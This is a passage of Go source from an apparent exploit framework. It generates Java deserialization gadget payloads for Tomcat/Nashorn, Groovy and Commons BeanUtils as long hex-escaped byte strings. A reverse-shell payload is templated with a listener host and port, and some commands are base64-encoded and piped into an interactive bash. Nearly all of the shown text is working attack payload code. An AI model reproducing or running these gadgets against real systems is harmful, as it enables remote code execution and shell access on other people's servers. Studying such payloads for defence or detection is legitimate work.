+\n\t\t\"\\x76\\x61\\x69\\x6c\\x61\\x62\\x6c\\x65\\x28\\x29\\x3e\\x30\\x29\\x73\\x6f\\x2e\" +\n\t\t\"\\x77\\x72\\x69\\x74\\x65\\x28\\x70\\x69\\x2e\\x72\\x65\\x61\\x64\\x28\\x29\\x29\" +\n\t\t\"\\x3b\\x77\\x68\\x69\\x6c\\x65\\x28\\x70\\x65\\x2e\\x61\\x76\\x61\\x69\\x6c\\x61\" +\n\t\t\"\\x62\\x6c\\x65\\x28\\x29\\x3e\\x30\\x29\\x73\\x6f\\x2e\\x77\\x72\\x69\\x74\\x65\" +\n\t\t\"\\x28\\x70\\x65\\x2e\\x72\\x65\\x61\\x64\\x28\\x29\\x29\\x3b\\x77\\x68\\x69\\x6c\" +\n\t\t\"\\x65\\x28\\x73\\x69\\x2e\\x61\\x76\\x61\\x69\\x6c\\x61\\x62\\x6c\\x65\\x28\\x29\" +\n\t\t\"\\x3e\\x30\\x29\\x70\\x6f\\x2e\\x77\\x72\\x69\\x74\\x65\\x28\\x73\\x69\\x2e\\x72\" +\n\t\t\"\\x65\\x61\\x64\\x28\\x29\\x29\\x3b\\x73\\x6f\\x2e\\x66\\x6c\\x75\\x73\\x68\\x28\" +\n\t\t\"\\x29\\x3b\\x70\\x6f\\x2e\\x66\\x6c\\x75\\x73\\x68\\x28\\x29\\x3b\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2e\\x6c\\x61\\x6e\\x67\\x2e\\x54\\x68\\x72\\x65\\x61\\x64\\x2e\\x73\\x6c\" +\n\t\t\"\\x65\\x65\\x70\\x28\\x35\\x30\\x29\\x3b\\x74\\x72\\x79\\x20\\x7b\\x70\\x2e\\x65\" +\n\t\t\"\\x78\\x69\\x74\\x56\\x61\\x6c\\x75\\x65\\x28\\x29\\x3b\\x62\\x72\\x65\\x61\\x6b\" +\n\t\t\"\\x3b\\x7d\\x63\\x61\\x74\\x63\\x68\\x20\\x28\\x65\\x29\\x7b\\x7d\\x7d\\x3b\\x70\" +\n\t\t\"\\x2e\\x64\\x65\\x73\\x74\\x72\\x6f\\x79\\x28\\x29\\x3b\\x73\\x2e\\x63\\x6c\\x6f\" +\n\t\t\"\\x73\\x65\\x28\\x29\\x3b\\x76\\x61\\x72\\x20\\x70\\x61\\x64\\x64\\x69\\x6e\\x67\" +\n\t\t\"\\x3d\\x22\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x61\\x22\\x27\" +\n\t\t\"\\x29\\x7d\\x70\\x70\\x70\\x70\\x70\\x78\\x74\\x00\\x25\\x6f\\x72\\x67\\x2e\\x61\" +\n\t\t\"\\x70\\x61\\x63\\x68\\x65\\x2e\\x6e\\x61\\x6d\\x69\\x6e\\x67\\x2e\\x66\\x61\\x63\" +\n\t\t\"\\x74\\x6f\\x72\\x79\\x2e\\x42\\x65\\x61\\x6e\\x46\\x61\\x63\\x74\\x6f\\x72\\x79\" +\n\t\t\"\\x70\\x74\\x00\\x14\\x6a\\x61\\x76\\x61\\x78\\x2e\\x65\\x6c\\x2e\\x45\\x4c\\x50\" +\n\t\t\"\\x72\\x6f\\x63\\x65\\x73\\x73\\x6f\\x72\"\n\n\tupdatedShellPayload := strings.Replace(shellPayload, \"cmd.exe\", binary, 1)\n\tupdatedShellPayload = strings.Replace(updatedShellPayload, \"10.9.49.242\", lhost, 1)\n\tupdatedShellPayload = strings.Replace(updatedShellPayload, \"1270\", strconv.Itoa(lport), 1)\n\n\tif len(updatedShellPayload) < len(shellPayload) {\n\t\tupdatedShellPayload = strings.Replace(updatedShellPayload,\n\t\t\t\"aaaaaaaaaaaa\", strings.Repeat(\"a\", 12+(len(shellPayload)-len(updatedShellPayload))), 1)\n\t} else if len(shellPayload) < len(updatedShellPayload) {\n\t\t// technically this should look for overuse (e.g. 12 isn't enough), but doesn't\n\t\tupdatedShellPayload = strings.Replace(updatedShellPayload, \"aaaaaaaaaaaa\",\n\t\t\tstrings.Repeat(\"a\", 12-(len(updatedShellPayload)-len(shellPayload))), 1)\n\t}\n\n\treturn updatedShellPayload\n}\n\n// This creates a generic bash command that will be execute via nashorn\n// as bash,-c,<command>. This gadget has been pre-compiled (because)\n// we aren't executing in Java) so the size has to be adjusted. This\n// function will autoadjust the commands size'.\nfunc createTomcatGenericGadget(command string) string {\n\tif len(command) > 186 {\n\t\toutput.PrintFrameworkError(\"The requested command is too long. The exploit will fail.\")\n\n\t\treturn \"\"\n\t}\n\n\t// pad the command out\n\tcommand += strings.Repeat(\"#\", 186-len(command))\n\n\tcomplete := \"\\xac\\xed\" +\n\t\t\"\\x00\\x05\\x73\\x72\\x00\\x1d\\x6f\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\" +\n\t\t\"\\x2e\\x6e\\x61\\x6d\\x69\\x6e\\x67\\x2e\\x52\\x65\\x73\\x6f\\x75\\x72\\x63\\x65\" +\n\t\t\"\\x52\\x65\\x66\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x78\\x72\" +\n\t\t\"\\x00\\x1d\\x6f\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x6e\\x61\\x6d\" +\n\t\t\"\\x69\\x6e\\x67\\x2e\\x41\\x62\\x73\\x74\\x72\\x61\\x63\\x74\\x52\\x65\\x66\\x00\" +\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x78\\x72\\x00\\x16\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x78\\x2e\\x6e\\x61\\x6d\\x69\\x6e\\x67\\x2e\\x52\\x65\\x66\\x65\\x72\" +\n\t\t\"\\x65\\x6e\\x63\\x65\\xe8\\xc6\\x9e\\xa2\\xa8\\xe9\\x8d\\x09\\x02\\x00\\x04\\x4c\" +\n\t\t\"\\x00\\x05\\x61\\x64\\x64\\x72\\x73\\x74\\x00\\x12\\x4c\\x6a\\x61\\x76\\x61\\x2f\" +\n\t\t\"\\x75\\x74\\x69\\x6c\\x2f\\x56\\x65\\x63\\x74\\x6f\\x72\\x3b\\x4c\\x00\\x0c\\x63\" +\n\t\t\"\\x6c\\x61\\x73\\x73\\x46\\x61\\x63\\x74\\x6f\\x72\\x79\\x74\\x00\\x12\\x4c\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\" +\n\t\t\"\\x4c\\x00\\x14\\x63\\x6c\\x61\\x73\\x73\\x46\\x61\\x63\\x74\\x6f\\x72\\x79\\x4c\" +\n\t\t\"\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x71\\x00\\x7e\\x00\\x04\\x4c\\x00\\x09\\x63\" +\n\t\t\"\\x6c\\x61\\x73\\x73\\x4e\\x61\\x6d\\x65\\x71\\x00\\x7e\\x00\\x04\\x78\\x70\\x73\" +\n\t\t\"\\x72\\x00\\x10\\x6a\\x61\\x76\\x61\\x2e\\x75\\x74\\x69\\x6c\\x2e\\x56\\x65\\x63\" +\n\t\t\"\\x74\\x6f\\x72\\xd9\\x97\\x7d\\x5b\\x80\\x3b\\xaf\\x01\\x03\\x00\\x03\\x49\\x00\" +\n\t\t\"\\x11\\x63\\x61\\x70\\x61\\x63\\x69\\x74\\x79\\x49\\x6e\\x63\\x72\\x65\\x6d\\x65\" +\n\t\t\"\\x6e\\x74\\x49\\x00\\x0c\\x65\\x6c\\x65\\x6d\\x65\\x6e\\x74\\x43\\x6f\\x75\\x6e\" +\n\t\t\"\\x74\\x5b\\x00\\x0b\\x65\\x6c\\x65\\x6d\\x65\\x6e\\x74\\x44\\x61\\x74\\x61\\x74\" +\n\t\t\"\\x00\\x13\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x4f\\x62\" +\n\t\t\"\\x6a\\x65\\x63\\x74\\x3b\\x78\\x70\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x75\" +\n\t\t\"\\x72\\x00\\x13\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2e\\x6c\\x61\\x6e\\x67\\x2e\\x4f\" +\n\t\t\"\\x62\\x6a\\x65\\x63\\x74\\x3b\\x90\\xce\\x58\\x9f\\x10\\x73\\x29\\x6c\\x02\\x00\" +\n\t\t\"\\x00\\x78\\x70\\x00\\x00\\x00\\x0a\\x73\\x72\\x00\\x1a\\x6a\\x61\\x76\\x61\\x78\" +\n\t\t\"\\x2e\\x6e\\x61\\x6d\\x69\\x6e\\x67\\x2e\\x53\\x74\\x72\\x69\\x6e\\x67\\x52\\x65\" +\n\t\t\"\\x66\\x41\\x64\\x64\\x72\\x84\\x4b\\xf4\\x3c\\xe1\\x11\\xdc\\xc9\\x02\\x00\\x01\" +\n\t\t\"\\x4c\\x00\\x08\\x63\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x73\\x71\\x00\\x7e\\x00\\x04\" +\n\t\t\"\\x78\\x72\\x00\\x14\\x6a\\x61\\x76\\x61\\x78\\x2e\\x6e\\x61\\x6d\\x69\\x6e\\x67\" +\n\t\t\"\\x2e\\x52\\x65\\x66\\x41\\x64\\x64\\x72\\xeb\\xa0\\x07\\x9a\\x02\\x38\\xaf\\x4a\" +\n\t\t\"\\x02\\x00\\x01\\x4c\\x00\\x08\\x61\\x64\\x64\\x72\\x54\\x79\\x70\\x65\\x71\\x00\" +\n\t\t\"\\x7e\\x00\\x04\\x78\\x70\\x74\\x00\\x05\\x73\\x63\\x6f\\x70\\x65\\x74\\x00\\x00\" +\n\t\t\"\\x73\\x71\\x00\\x7e\\x00\\x0b\\x74\\x00\\x04\\x61\\x75\\x74\\x68\\x71\\x00\\x7e\" +\n\t\t\"\\x00\\x0f\\x73\\x71\\x00\\x7e\\x00\\x0b\\x74\\x00\\x09\\x73\\x69\\x6e\\x67\\x6c\" +\n\t\t\"\\x65\\x74\\x6f\\x6e\\x74\\x00\\x04\\x74\\x72\\x75\\x65\\x73\\x71\\x00\\x7e\\x00\" +\n\t\t\"\\x0b\\x74\\x00\\x0b\\x66\\x6f\\x72\\x63\\x65\\x53\\x74\\x72\\x69\\x6e\\x67\\x74\" +\n\t\t\"\\x00\\x06\\x78\\x3d\\x65\\x76\\x61\\x6c\\x73\\x71\\x00\\x7e\\x00\\x0b\\x74\\x00\" +\n\t\t\"\\x01\\x78\\x74\\x01\\x65\\x7b\\x22\\x22\\x2e\\x67\\x65\\x74\\x43\\x6c\\x61\\x73\" +\n\t\t\"\\x73\\x28\\x29\\x2e\\x66\\x6f\\x72\\x4e\\x61\\x6d\\x65\\x28\\x22\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x78\\x2e\\x73\\x63\\x72\\x69\\x70\\x74\\x2e\\x53\\x63\\x72\\x69\\x70\\x74\" +\n\t\t\"\\x45\\x6e\\x67\\x69\\x6e\\x65\\x4d\\x61\\x6e\\x61\\x67\\x65\\x72\\x22\\x29\\x2e\" +\n\t\t\"\\x6e\\x65\\x77\\x49\\x6e\\x73\\x74\\x61\\x6e\\x63\\x65\\x28\\x29\\x2e\\x67\\x65\" +\n\t\t\"\\x74\\x45\\x6e\\x67\\x69\\x6e\\x65\\x42\\x79\\x4e\\x61\\x6d\\x65\\x28\\x22\\x6e\" +\n\t\t\"\\x61\\x73\\x68\\x6f\\x72\\x6e\\x22\\x29\\x2e\\x65\\x76\\x61\\x6c\\x28\\x22\\x6e\" +\n\t\t\"\\x65\\x77\\x20\\x6a\\x61\\x76\\x61\\x2e\\x6c\\x61\\x6e\\x67\\x2e\\x50\\x72\\x6f\" +\n\t\t\"\\x63\\x65\\x73\\x73\\x42\\x75\\x69\\x6c\\x64\\x65\\x72\\x28\\x29\\x2e\\x63\\x6f\" +\n\t\t\"\\x6d\\x6d\\x61\\x6e\\x64\\x28\\x27\\x62\\x61\\x73\\x68\\x27\\x2c\\x27\\x2d\\x63\" +\n\t\t\"\\x27\\x2c\\x27\" +\n\t\tcommand +\n\t\t\"\\x27\\x29\\x2e\" +\n\t\t\"\\x73\\x74\\x61\\x72\\x74\\x28\\x29\\x22\\x29\\x7d\\x70\\x70\\x70\\x70\\x70\\x78\" +\n\t\t\"\\x74\\x00\\x25\\x6f\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x6e\\x61\" +\n\t\t\"\\x6d\\x69\\x6e\\x67\\x2e\\x66\\x61\\x63\\x74\\x6f\\x72\\x79\\x2e\\x42\\x65\\x61\" +\n\t\t\"\\x6e\\x46\\x61\\x63\\x74\\x6f\\x72\\x79\\x70\\x74\\x00\\x14\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x78\\x2e\\x65\\x6c\\x2e\\x45\\x4c\\x50\\x72\\x6f\\x63\\x65\\x73\\x73\\x6f\\x72\"\n\n\treturn complete\n}\n\nfunc createGroovyGenericBash(command string) string {\n\tencodedCommand := fmt.Sprintf(\"{echo,%s}|{base64,-d}|{bash,-i}|{ls,\", b64.StdEncoding.EncodeToString([]byte(command)))\n\n\tif len(encodedCommand) > 157 {\n\t\toutput.PrintFrameworkError(\"The requested command is too long. The exploit will fail.\")\n\n\t\treturn \"\"\n\t}\n\n\t// pad the command out\n\tencodedCommand += strings.Repeat(\"a\", 157-len(encodedCommand))\n\tencodedCommand += \"}\"\n\n\tcomplete := \"\\xac\\xed\" +\n\t\t\"\\x00\\x05\\x73\\x72\\x00\\x1d\\x6f\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\" +\n\t\t\"\\x2e\\x6e\\x61\\x6d\\x69\\x6e\\x67\\x2e\\x52\\x65\\x73\\x6f\\x75\\x72\\x63\\x65\" +\n\t\t\"\\x52\\x65\\x66\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x78\\x72\" +\n\t\t\"\\x00\\x1d\\x6f\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x6e\\x61\\x6d\" +\n\t\t\"\\x69\\x6e\\x67\\x2e\\x41\\x62\\x73\\x74\\x72\\x61\\x63\\x74\\x52\\x65\\x66\\x00\" +\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x78\\x72\\x00\\x16\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x78\\x2e\\x6e\\x61\\x6d\\x69\\x6e\\x67\\x2e\\x52\\x65\\x66\\x65\\x72\" +\n\t\t\"\\x65\\x6e\\x63\\x65\\xe8\\xc6\\x9e\\xa2\\xa8\\xe9\\x8d\\x09\\x02\\x00\\x04\\x4c\" +\n\t\t\"\\x00\\x05\\x61\\x64\\x64\\x72\\x73\\x74\\x00\\x12\\x4c\\x6a\\x61\\x76\\x61\\x2f\" +\n\t\t\"\\x75\\x74\\x69\\x6c\\x2f\\x56\\x65\\x63\\x74\\x6f\\x72\\x3b\\x4c\\x00\\x0c\\x63\" +\n\t\t\"\\x6c\\x61\\x73\\x73\\x46\\x61\\x63\\x74\\x6f\\x72\\x79\\x74\\x00\\x12\\x4c\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\" +\n\t\t\"\\x4c\\x00\\x14\\x63\\x6c\\x61\\x73\\x73\\x46\\x61\\x63\\x74\\x6f\\x72\\x79\\x4c\" +\n\t\t\"\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x71\\x00\\x7e\\x00\\x04\\x4c\\x00\\x09\\x63\" +\n\t\t\"\\x6c\\x61\\x73\\x73\\x4e\\x61\\x6d\\x65\\x71\\x00\\x7e\\x00\\x04\\x78\\x70\\x73\" +\n\t\t\"\\x72\\x00\\x10\\x6a\\x61\\x76\\x61\\x2e\\x75\\x74\\x69\\x6c\\x2e\\x56\\x65\\x63\" +\n\t\t\"\\x74\\x6f\\x72\\xd9\\x97\\x7d\\x5b\\x80\\x3b\\xaf\\x01\\x03\\x00\\x03\\x49\\x00\" +\n\t\t\"\\x11\\x63\\x61\\x70\\x61\\x63\\x69\\x74\\x79\\x49\\x6e\\x63\\x72\\x65\\x6d\\x65\" +\n\t\t\"\\x6e\\x74\\x49\\x00\\x0c\\x65\\x6c\\x65\\x6d\\x65\\x6e\\x74\\x43\\x6f\\x75\\x6e\" +\n\t\t\"\\x74\\x5b\\x00\\x0b\\x65\\x6c\\x65\\x6d\\x65\\x6e\\x74\\x44\\x61\\x74\\x61\\x74\" +\n\t\t\"\\x00\\x13\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x4f\\x62\" +\n\t\t\"\\x6a\\x65\\x63\\x74\\x3b\\x78\\x70\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x75\" +\n\t\t\"\\x72\\x00\\x13\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2e\\x6c\\x61\\x6e\\x67\\x2e\\x4f\" +\n\t\t\"\\x62\\x6a\\x65\\x63\\x74\\x3b\\x90\\xce\\x58\\x9f\\x10\\x73\\x29\\x6c\\x02\\x00\" +\n\t\t\"\\x00\\x78\\x70\\x00\\x00\\x00\\x0a\\x73\\x72\\x00\\x1a\\x6a\\x61\\x76\\x61\\x78\" +\n\t\t\"\\x2e\\x6e\\x61\\x6d\\x69\\x6e\\x67\\x2e\\x53\\x74\\x72\\x69\\x6e\\x67\\x52\\x65\" +\n\t\t\"\\x66\\x41\\x64\\x64\\x72\\x84\\x4b\\xf4\\x3c\\xe1\\x11\\xdc\\xc9\\x02\\x00\\x01\" +\n\t\t\"\\x4c\\x00\\x08\\x63\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x73\\x71\\x00\\x7e\\x00\\x04\" +\n\t\t\"\\x78\\x72\\x00\\x14\\x6a\\x61\\x76\\x61\\x78\\x2e\\x6e\\x61\\x6d\\x69\\x6e\\x67\" +\n\t\t\"\\x2e\\x52\\x65\\x66\\x41\\x64\\x64\\x72\\xeb\\xa0\\x07\\x9a\\x02\\x38\\xaf\\x4a\" +\n\t\t\"\\x02\\x00\\x01\\x4c\\x00\\x08\\x61\\x64\\x64\\x72\\x54\\x79\\x70\\x65\\x71\\x00\" +\n\t\t\"\\x7e\\x00\\x04\\x78\\x70\\x74\\x00\\x05\\x73\\x63\\x6f\\x70\\x65\\x74\\x00\\x00\" +\n\t\t\"\\x73\\x71\\x00\\x7e\\x00\\x0b\\x74\\x00\\x04\\x61\\x75\\x74\\x68\\x71\\x00\\x7e\" +\n\t\t\"\\x00\\x0f\\x73\\x71\\x00\\x7e\\x00\\x0b\\x74\\x00\\x09\\x73\\x69\\x6e\\x67\\x6c\" +\n\t\t\"\\x65\\x74\\x6f\\x6e\\x74\\x00\\x04\\x74\\x72\\x75\\x65\\x73\\x71\\x00\\x7e\\x00\" +\n\t\t\"\\x0b\\x74\\x00\\x0b\\x66\\x6f\\x72\\x63\\x65\\x53\\x74\\x72\\x69\\x6e\\x67\\x74\" +\n\t\t\"\\x00\\x0a\\x78\\x3d\\x65\\x76\\x61\\x6c\\x75\\x61\\x74\\x65\\x73\\x71\\x00\\x7e\" +\n\t\t\"\\x00\\x0b\\x74\\x00\\x01\\x78\\x74\\x00\\xb2\\x27\\x62\\x61\\x73\\x68\\x20\\x2d\" +\n\t\t\"\\x63\\x20\" +\n\t\tencodedCommand +\n\t\t\"\\x27\\x2e\\x65\\x78\\x65\\x63\\x75\\x74\\x65\\x28\\x29\\x70\\x70\\x70\\x70\\x70\" +\n\t\t\"\\x78\\x74\\x00\\x25\\x6f\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x6e\" +\n\t\t\"\\x61\\x6d\\x69\\x6e\\x67\\x2e\\x66\\x61\\x63\\x74\\x6f\\x72\\x79\\x2e\\x42\\x65\" +\n\t\t\"\\x61\\x6e\\x46\\x61\\x63\\x74\\x6f\\x72\\x79\\x70\\x74\\x00\\x17\\x67\\x72\\x6f\" +\n\t\t\"\\x6f\\x76\\x79\\x2e\\x6c\\x61\\x6e\\x67\\x2e\\x47\\x72\\x6f\\x6f\\x76\\x79\\x53\" +\n\t\t\"\\x68\\x65\\x6c\\x6c\"\n\n\treturn complete\n}\n\nfunc createBeanUtils194GenericBash(command string) string {\n\tencodedCommand := fmt.Sprintf(\"bash -c {echo,%s}|{base64,-d}|{bash,-i}|{ls,\", b64.StdEncoding.EncodeToString([]byte(command)))\n\n\tif len(encodedCommand) > 208 {\n\t\toutput.PrintFrameworkError(\"The requested command is too long. The exploit will fail.\")\n\n\t\treturn \"\"\n\t}\n\n\t// pad the command out\n\tencodedCommand += strings.Repeat(\"a\", 207-len(encodedCommand))\n\tencodedCommand += \"}\"\n\n\t//nolint:dupword // Duplicate words () found\n\tcomplete := \"\\xac\\xed\" +\n\t\t\"\\x00\\x05\\x73\\x72\\x00\\x17\\x6a\\x61\\x76\\x61\\x2e\\x75\\x74\\x69\\x6c\\x2e\" +\n\t\t\"\\x50\\x72\\x69\\x6f\\x72\\x69\\x74\\x79\\x51\\x75\\x65\\x75\\x65\\x94\\xda\\x30\" +\n\t\t\"\\xb4\\xfb\\x3f\\x82\\xb1\\x03\\x00\\x02\\x49\\x00\\x04\\x73\\x69\\x7a\\x65\\x4c\" +\n\t\t\"\\x00\\x0a\\x63\\x6f\\x6d\\x70\\x61\\x72\\x61\\x74\\x6f\\x72\\x74\\x00\\x16\\x4c\" +\n\t\t\"\\x6a\\x61\\x76\\x61\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x43\\x6f\\x6d\\x70\\x61\\x72\" +\n\t\t\"\\x61\\x74\\x6f\\x72\\x3b\\x78\\x70\\x00\\x00\\x00\\x02\\x73\\x72\\x00\\x2b\\x6f\" +\n\t\t\"\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x63\\x6f\\x6d\\x6d\\x6f\\x6e\" +\n\t\t\"\\x73\\x2e\\x62\\x65\\x61\\x6e\\x75\\x74\\x69\\x6c\\x73\\x2e\\x42\\x65\\x61\\x6e\" +\n\t\t\"\\x43\\x6f\\x6d\\x70\\x61\\x72\\x61\\x74\\x6f\\x72\\xe3\\xa1\\x88\\xea\\x73\\x22\" +\n\t\t\"\\xa4\\x48\\x02\\x00\\x02\\x4c\\x00\\x0a\\x63\\x6f\\x6d\\x70\\x61\\x72\\x61\\x74\" +\n\t\t\"\\x6f\\x72\\x71\\x00\\x7e\\x00\\x01\\x4c\\x00\\x08\\x70\\x72\\x6f\\x70\\x65\\x72\" +\n\t\t\"\\x74\\x79\\x74\\x00\\x12\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\" +\n\t\t\"\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x78\\x70\\x73\\x72\\x00\\x3f\\x6f\\x72\\x67\" +\n\t\t\"\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x63\\x6f\\x6d\\x6d\\x6f\\x6e\\x73\\x2e\" +\n\t\t\"\\x63\\x6f\\x6c\\x6c\\x65\\x63\\x74\\x69\\x6f\\x6e\\x73\\x2e\\x63\\x6f\\x6d\\x70\" +\n\t\t\"\\x61\\x72\\x61\\x74\\x6f\\x72\\x73\\x2e\\x43\\x6f\\x6d\\x70\\x61\\x72\\x61\\x62\" +\n\t\t\"\\x6c\\x65\\x43\\x6f\\x6d\\x70\\x61\\x72\\x61\\x74\\x6f\\x72\\xfb\\xf4\\x99\\x25\" +\n\t\t\"\\xb8\\x6e\\xb1\\x37\\x02\\x00\\x00\\x78\\x70\\x74\\x00\\x10\\x6f\\x75\\x74\\x70\" +\n\t\t\"\\x75\\x74\\x50\\x72\\x6f\\x70\\x65\\x72\\x74\\x69\\x65\\x73\\x77\\x04\\x00\\x00\" +\n\t\t\"\\x00\\x03\\x73\\x72\\x00\\x3a\\x63\\x6f\\x6d\\x2e\\x73\\x75\\x6e\\x2e\\x6f\\x72\" +\n\t\t\"\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x78\\x61\\x6c\\x61\\x6e\\x2e\\x69\" +\n\t\t\"\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2e\\x78\\x73\\x6c\\x74\\x63\\x2e\\x74\\x72\" +\n\t\t\"\\x61\\x78\\x2e\\x54\\x65\\x6d\\x70\\x6c\\x61\\x74\\x65\\x73\\x49\\x6d\\x70\\x6c\" +\n\t\t\"\\x09\\x57\\x4f\\xc1\\x6e\\xac\\xab\\x33\\x03\\x00\\x06\\x49\\x00\\x0d\\x5f\\x69\" +\n\t\t\"\\x6e\\x64\\x65\\x6e\\x74\\x4e\\x75\\x6d\\x62\\x65\\x72\\x49\\x00\\x0e\\x5f\\x74\" +\n\t\t\"\\x72\\x61\\x6e\\x73\\x6c\\x65\\x74\\x49\\x6e\\x64\\x65\\x78\\x5b\\x00\\x0a\\x5f\" +\n\t\t\"\\x62\\x79\\x74\\x65\\x63\\x6f\\x64\\x65\\x73\\x74\\x00\\x03\\x5b\\x5b\\x42\\x5b\" +\n\t\t\"\\x00\\x06\\x5f\\x63\\x6c\\x61\\x73\\x73\\x74\\x00\\x12\\x5b\\x4c\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x43\\x6c\\x61\\x73\\x73\\x3b\\x4c\\x00\\x05\" +\n\t\t\"\\x5f\\x6e\\x61\\x6d\\x65\\x71\\x00\\x7e\\x00\\x04\\x4c\\x00\\x11\\x5f\\x6f\\x75\" +\n\t\t\"\\x74\\x70\\x75\\x74\\x50\\x72\\x6f\\x70\\x65\\x72\\x74\\x69\\x65\\x73\\x74\\x00\" +\n\t\t\"\\x16\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x50\\x72\\x6f\\x70\" +\n\t\t\"\\x65\\x72\\x74\\x69\\x65\\x73\\x3b\\x78\\x70\\x00\\x00\\x00\\x00\\xff\\xff\\xff\" +\n\t\t\"\\xff\\x75\\x72\\x00\\x03\\x5b\\x5b\\x42\\x4b\\xfd\\x19\\x15\\x67\\x67\\xdb\\x37\" +\n\t\t\"\\x02\\x00\\x00\\x78\\x70\\x00\\x00\\x00\\x02\\x75\\x72\\x00\\x02\\x5b\\x42\\xac\" +\n\t\t\"\\xf3\\x17\\xf8\\x06\\x08\\x54\\xe0\\x02\\x00\\x00\\x78\\x70\\x00\\x00\\x07\\x64\" +\n\t\t\"\\xca\\xfe\\xba\\xbe\\x00\\x00\\x00\\x34\\x00\\x39\\x0a\\x00\\x03\\x00\\x22\\x07\" +\n\t\t\"\\x00\\x37\\x07\\x00\\x25\\x07\\x00\\x26\\x01\\x00\\x10\\x73\\x65\\x72\\x69\\x61\" +\n\t\t\"\\x6c\\x56\\x65\\x72\\x73\\x69\\x6f\\x6e\\x55\\x49\\x44\\x01\\x00\\x01\\x4a\\x01\" +\n\t\t\"\\x00\\x0d\\x43\\x6f\\x6e\\x73\\x74\\x61\\x6e\\x74\\x56\\x61\\x6c\\x75\\x65\\x05\" +\n\t\t\"\\xad\\x20\\x93\\xf3\\x91\\xdd\\xef\\x3e\\x01\\x00\\x06\\x3c\\x69\\x6e\\x69\\x74\" +\n\t\t\"\\x3e\\x01\\x00\\x03\\x28\\x29\\x56\\x01\\x00\\x04\\x43\\x6f\\x64\\x65\\x01\\x00\" +\n\t\t\"\\x0f\\x4c\\x69\\x6e\\x65\\x4e\\x75\\x6d\\x62\\x65\\x72\\x54\\x61\\x62\\x6c\\x65\" +\n\t\t\"\\x01\\x00\\x12\\x4c\\x6f\\x63\\x61\\x6c\\x56\\x61\\x72\\x69\\x61\\x62\\x6c\\x65\" +\n\t\t\"\\x54\\x61\\x62\\x6c\\x65\\x01\\x00\\x04\\x74\\x68\\x69\\x73\\x01\\x00\\x13\\x53\" +\n\t\t\"\\x74\\x75\\x62\\x54\\x72\\x61\\x6e\\x73\\x6c\\x65\\x74\\x50\\x61\\x79\\x6c\\x6f\" +\n\t\t\"\\x61\\x64\\x01\\x00\\x0c\\x49\\x6e\\x6e\\x65\\x72\\x43\\x6c\\x61\\x73\\x73\\x65\" +\n\t\t\"\\x73\\x01\\x00\\x35\\x4c\\x79\\x73\\x6f\\x73\\x65\\x72\\x69\\x61\\x6c\\x2f\\x70\" +\n\t\t\"\\x61\\x79\\x6c\\x6f\\x61\\x64\\x73\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x47\\x61\\x64\" +\n\t\t\"\\x67\\x65\\x74\\x73\\x24\\x53\\x74\\x75\\x62\\x54\\x72\\x61\\x6e\\x73\\x6c\\x65\" +\n\t\t\"\\x74\\x50\\x61\\x79\\x6c\\x6f\\x61\\x64\\x3b\\x01\\x00\\x09\\x74\\x72\\x61\\x6e\" +\n\t\t\"\\x73\\x66\\x6f\\x72\\x6d\\x01\\x00\\x72\\x28\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\" +\n\t\t\"\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x61\\x6c\" +\n\t\t\"\\x61\\x6e\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x78\\x73\\x6c\\x74\" +\n\t\t\"\\x63\\x2f\\x44\\x4f\\x4d\\x3b\\x5b\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\" 